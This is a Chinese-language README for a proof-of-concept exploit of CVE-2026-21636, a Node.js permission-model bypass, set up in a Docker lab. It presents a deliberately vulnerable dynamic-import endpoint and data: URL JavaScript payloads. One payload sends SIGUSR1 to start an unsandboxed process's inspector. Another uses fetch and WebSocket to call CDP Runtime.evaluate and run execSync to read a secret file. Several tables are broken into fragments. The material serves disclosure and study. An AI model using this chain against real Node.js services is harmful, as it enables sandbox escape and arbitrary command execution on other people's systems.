Node.js 权限模型(--permission)旨在通过限制对文件系统、子进程、工作线程和网络的访问来对进程进行沙箱化。CVE-2026-21636 揭示了通过 undici/fetch(以及 net/tls)到 Unix 域套接字和本地 TCP 地址的连接完全绕过了网络防护,即使未设置 --allow-net 也是如此。
受影响:Node.js v25(网络权限在披露时仍处于实验阶段)。
此 PoC 在 v22 上复现了该概念,其中可以观察到相同的绕过行为。
能够向在 --permission(但未设置 --allow-net 或 --allow-child-process)下运行的进程注入任意 JavaScript 的攻击者可以:
两个进程在容器内通过 supervisord 并行运行:
| 进程 | 用户 |
|---|
target.cjs 在启动时将自身的 PID 写入 /tmp/target.pid,然后无限循环(空闲的受害者进程)。server.mjs 在 :8000 上暴露一个 Express 服务器,带有 /pid 端点和易受攻击的 /language 端点。
/app/secret.txt 由 app 拥有(chmod 444)。两个进程都可以在操作系统层面访问它。该漏洞利用不依赖于文件权限屏障——它证明了 server.mjs 尽管未设置 --allow-net,仍可以通过 fetch()/WebSocket 访问 127.0.0.1:9229,并在未沙箱化的 target.cjs 进程内执行任意代码。通过 CDP 读取 secret.txt 是该代码执行的证明。
注意:此 PoC 实际演示的内容
由于
server.mjs已经以--allow-fs-read=/运行,仅使用 JS 注入(步骤 1)从沙箱化进程直接读取/app/secret.txt是微不足道的:import { readFileSync } from 'fs'; export default { secret: readFileSync('/app/secret.txt', 'utf8') };文件系统读取不是此 PoC 的重点。目标是演示 CVE-2026-21636:尽管未设置
--allow-net,fetch()(undici)仍可以建立到127.0.0.1:9229的 TCP 连接,完全绕过权限模型的网络防护。该漏洞利用使用此绕过通过 CDP 跳板进入完全未沙箱化的target.cjs进程,并实现沙箱之外的任意代码执行;这是任何数量的--allow-fs-read都无法允许的。
POST /language本节不在 PoC 的范围内。
// server.mjs
app.post('/language', async (req, res) => {
const requested = req.body?.lang ?? 'fr';
res.json(await import(requested + '/index.js'));
});
服务器对用户可控的字符串执行动态 import()。Node.js 的 import() 原生支持 data: URL 方案:
data:text/javascript,<百分号编码的 JS>
服务器追加的 /index.js 后缀通过在负载末尾追加 // 来中和(被视为 URL 注释 / 忽略的路径片段)。
这提供了在沙箱化进程内执行任意 JavaScript 的能力——这是滥用 CVE-2026-21636 的入口点。
服务器以以下方式启动:
node --permission --allow-fs-read=/ /app/server.mjs
意图:即使攻击者在 server.mjs 内运行代码,他们也无法访问网络、生成进程或访问检查器。
CVE-2026-21636 打破了 --allow-net 边界。
GET /pid → { "pid": <N> }
target.cjs 在启动时将自身的 PID 写入 /tmp/target.pid。服务器将其暴露出来。这标识了将用作 CDP 中继的受害者进程。
这也可以通过向入口点注入 JS 来完成;为了简化,我创建了 /pid 端点。
target.cjs 上激活 V8 检查器通过 POST /language(作为 data: URL)注入的负载:
process.kill(<pid>, 'SIGUSR1');
export default { signal: 'SIGUSR1', sent_to: <pid> };
当 Node.js 进程收到 SIGUSR1 时,它会启动(或恢复)其 V8/CDP 调试器,并开始监听:
127.0.0.1:9229
由于 target.cjs 在没有 --permission 的情况下运行,其检查器具有完全特权——它可以评估任何表达式,包括 require('child_process').execSync(...)。
发送信号(process.kill)不受权限模型的限制,因此此步骤可以从沙箱内部成功执行。
通过 POST /language 注入的第二个负载:
// 从检查器 HTTP API 获取可调试目标的列表
const [{ id }] = await (await fetch('http://127.0.0.1:9229/json')).json();
//然后打开一个 WebSocket 连接到 target.cjs 的 CDP 端点
const result = await new Promise(resolve => {
const ws = new WebSocket(`ws://127.0.0.1:9229/${id}`);
ws.onopen = () => ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: `process.mainModule.require('child_process')
.execSync('cat /app/secret.txt').toString()`,
returnByValue: true
}
}));
ws.onmessage = ({ data }) => { ws.close(); resolve(JSON.parse(data)); };
});
export default result;
为什么这在未设置 --allow-net 的情况下仍然有效:
Node.js 中的 fetch() 由 undici 实现。CVE-2026-21636 表明 undici 对 http://127.0.0.1:...(以及 UDS socketPath 选项)的连接路径不会经过权限模型的网络检查。沙箱认为没有进行出站网络访问,但到 :9229 的 TCP 连接却成功了。
CDP Runtime.evaluate 调用在未沙箱化的 target.cjs 进程内运行,因此 require('child_process') 可用,execSync 可以自由工作。
攻击者(Python 脚本)
│
├─[1]─ GET /pid → pid = N
│
├─[2]─ POST /language data:js SIGUSR1 → target.cjs 检查器在 :9229 上启动
│
└─[3]─ POST /language data:js fetch+WS → CDP Runtime.evaluate → cat /app/secret.txt
↑
CVE-2026-21636 在此绕过
(在没有 --allow-net 的情况下 fetch 到 127.0.0.1)
# 构建并启动环境
docker compose up --build -d
# 运行漏洞利用
python3 exploit.py
预期输出:
TARGET PID : 42
Response step 2 : {'signal': 'SIGUSR1', 'sent_to': 42}
SECRET : this_is_a_secret!
| 标志 |
|---|
| 能力 |
|---|
target.cjs | app | 无 | 完整的 Node.js API,无沙箱 |
server.mjs | app | --permission --allow-fs-read=/ | 完整的文件系统读取 — 无网络、无子进程、无工作线程 |
| 权限 | 状态 |
|---|
--allow-fs-read=/ | 已授予(完全读取) |
--allow-fs-write | 拒绝 |
--allow-net | 拒绝(实验性,未设置) |
--allow-child-process | 拒绝 |
--allow-worker | 拒绝 |
--allow-inspector | 拒绝 |